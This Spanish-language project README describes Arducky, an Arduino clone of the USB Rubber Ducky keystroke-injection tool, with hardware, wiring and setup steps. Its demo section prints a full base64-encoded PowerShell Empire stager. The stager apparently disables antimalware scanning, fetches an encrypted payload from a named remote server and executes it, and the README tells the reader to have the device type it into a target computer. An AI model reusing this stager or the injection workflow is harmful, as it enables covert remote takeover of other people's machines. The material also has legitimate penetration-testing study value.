creased/arduckyArducky - Intérprete de Ducky Script para Arduino
Este proyecto tiene como objetivo crear una alternativa económica (pero no menos eficiente) al USB Rubber Ducky de Hak5.
El USB Rubber Ducky es un HID (Human Interface Device) programable con un lenguaje de scripting simple que permite a los probadores de penetración crear e implementar rápidamente y fácilmente payloads de auditoría de seguridad que imitan la entrada del teclado humano.
Usando Arducky, solo necesitas lidiar con Ducky Script almacenado en una tarjeta MicroSD.
Después de la configuración, ya no necesitarás reprogramar tu Arduino para cambiar scripts.
| Cantidad | Elemento | Precio | Descripción |
|---|---|---|---|
| 1 | Placa Arduino Pro Micro ATmega32U4 5V | $4.11 | Compatible con protocolo USB, puede usarse como ratón o teclado HID |
| 1 | Shield Micro SD Memory | $0.78 | |
| 1 | Adaptador Micro USB OTG | $0.99 | Facultativo. Puede usarse para reemplazar el cable micro USB |
| 1 | Cables DuPont | $1.28 | |
| 1 | Tarjeta Micro SD | $18.00 | Esto es un ejemplo, dudo que necesites más de 1GB |
Para usar tu tarjeta Micro SD con Arducky, la tarjeta debe estar formateada en sistema de archivos FAT32.
Recomiendo encarecidamente formatear tu tarjeta SD (¡incluso si es nueva!), usando el formateador oficial de tarjetas SD de la SDA (SD Association) SD Memory Card Formatter en lugar de las herramientas de formateo proporcionadas por tu sistema operativo.
¡Ahora que has formateado tu tarjeta MicroSD, cableemos el shield MicroSD!
La interfaz del controlador MicroSD tiene un total de seis pines (GND, VCC, MISO, MOSI, SCK, CS).
Basado en la documentación SPI de Arduino, la interfaz de control debe conectarse de la siguiente manera (usando cables DuPont):
Nota: Como se mencionó en la sección Hardwares, el módulo está diseñado para interactuar con un µC de 5V, por lo que necesitarás el pin de 5V en tu Arduino.
Clona el proyecto:
git clone https://gitlab.com/Creased/arducky
cd arducky/
Si estás usando un teclado AZERTY, también necesitarás reemplazar tu librería Keyboard (Keyboard.cpp y Keyboard.h) con la incluida.
Sube el sketch arducky.ino a tu placa Arduino usando el IDE de Arduino.
Para generar el archivo arducky_femto.ino con un payload de Ducky Script, puedes usar femto_generate_payload.py:
~# python3 femto_generate_payload.py -h
usage: femto_generate_payload.py [-h] [-i ino_file] [-o output_file]
payload_file
Generates payload in arducky_femto.ino from an input Rubber Ducky payload file
positional arguments:
payload_file input Rubber Ducky payload file
optional arguments:
-h, --help show this help message and exit
-i ino_file, --ino ino_file
input Arducky ino file
-o output_file, --out output_file
output Arducky ino file
Ejemplo:
~# python3 femto_generate_payload.py -i arducky_femto.ino -o femto.ino demo/script.txt
Empire es un framework de post-explotación que implementa la capacidad de ejecutar agentes de PowerShell sin necesidad de powershell.exe, módulos de post-explotación de rápido despliegue que van desde keyloggers hasta Mimikatz.
En esta demo, desplegaremos un Empire en un servidor remoto (como un VPS) en un nodo Docker y usaremos Arducky para unirnos a él.
Por favor, sigue los pasos descritos en esta guía.
Al configurar un nuevo Empire, deberías obtener un payload como el siguiente (ver carpeta demo/):
powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQBzAFMARQBNAEIAbAB5AC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAEkAZQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBMAFUAZQAoACQAbgBVAEwAbAAsACQAVAByAHUAZQApAH0AOwBbAFMAWQBTAFQARQBNAC4ATgBFAHQALgBTAEUAcgB2AGkAYwBlAFAATwBJAG4AdABNAGEAbgBBAGcARQBSAF0AOgA6AEUAWABwAEUAYwBUADEAMAAwAEMAbwBOAHQAaQBOAFUARQA9ADAAOwAkAHcAYwA9AE4ARQB3AC0ATwBCAEoAZQBDAFQAIABTAFkAUwB0AEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAGkAZQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABXAGMALgBIAGUAYQBEAGUAcgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAHIATwBYAFkAPQBbAFMAeQBTAHQARQBNAC4ATgBFAHQALgBXAGUAQgBSAGUAcQB1AEUAUwBUAF0AOgA6AEQAZQBGAEEAVQBMAHQAVwBlAEIAUABSAG8AWABZADsAJAB3AEMALgBQAHIAbwBYAHkALgBDAHIAZQBEAEUAbgBUAEkAYQBMAFMAIAA9ACAAWwBTAFkAcwBUAEUAbQAuAE4ARQBUAC4AQwByAEUARABFAE4AVABJAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQBVAEwAVABOAEUAVAB3AG8AcgBLAEMAcgBlAGQARQBuAHQASQBBAGwAcwA7ACQASwA9AFsAUwBZAHMAdABlAE0ALgBUAEUAWABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQB0AGUAcwAoACcASwBBAE4AcwAjADgAJQBtAHAAWgBpAGQAUABTAEwAaABhAF0AZwBWAFsAWQAuAEcAPwBuAGsAfQBGAGMALwAzACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUATgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAWABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAVwBDAC4ASABFAGEARABFAHIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMgBtADAARQB6AEsALwBlAEEATQBTAE4AbQAxAEIAaABlAEYAUwBEAGYAZAB3AE0AaQBxAFEAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvAHYAcABzADIALgBiAG0AbwBpAG4AZQAuAGYAcgA6ADgAMAA4ADAAJwA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkAGQAQQB0AGEAPQAkAFcAQwAuAEQATwBXAE4AbABvAEEAZABEAGEAdABhACgAJABzAGUAUgArACQAVAApADsAJABJAFYAPQAkAEQAYQB0AEEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAQQB0AEEAWwA0AC4ALgAkAEQAQQB0AGEALgBMAEUATgBnAHQAaABdADsALQBKAG8ASQBOAFsAQwBIAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAQQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
Guárdalo en un archivo llamado stager.txt y ejecuta el script create_script.sh para crear el Ducky Script:
./create_script.sh
Copia el script.txt generado a la raíz del sistema de archivos de tu tarjeta MicroSD y enciende el Arducky.
Aquí hay un video que demuestra el ataque:
.
¡Voilà!
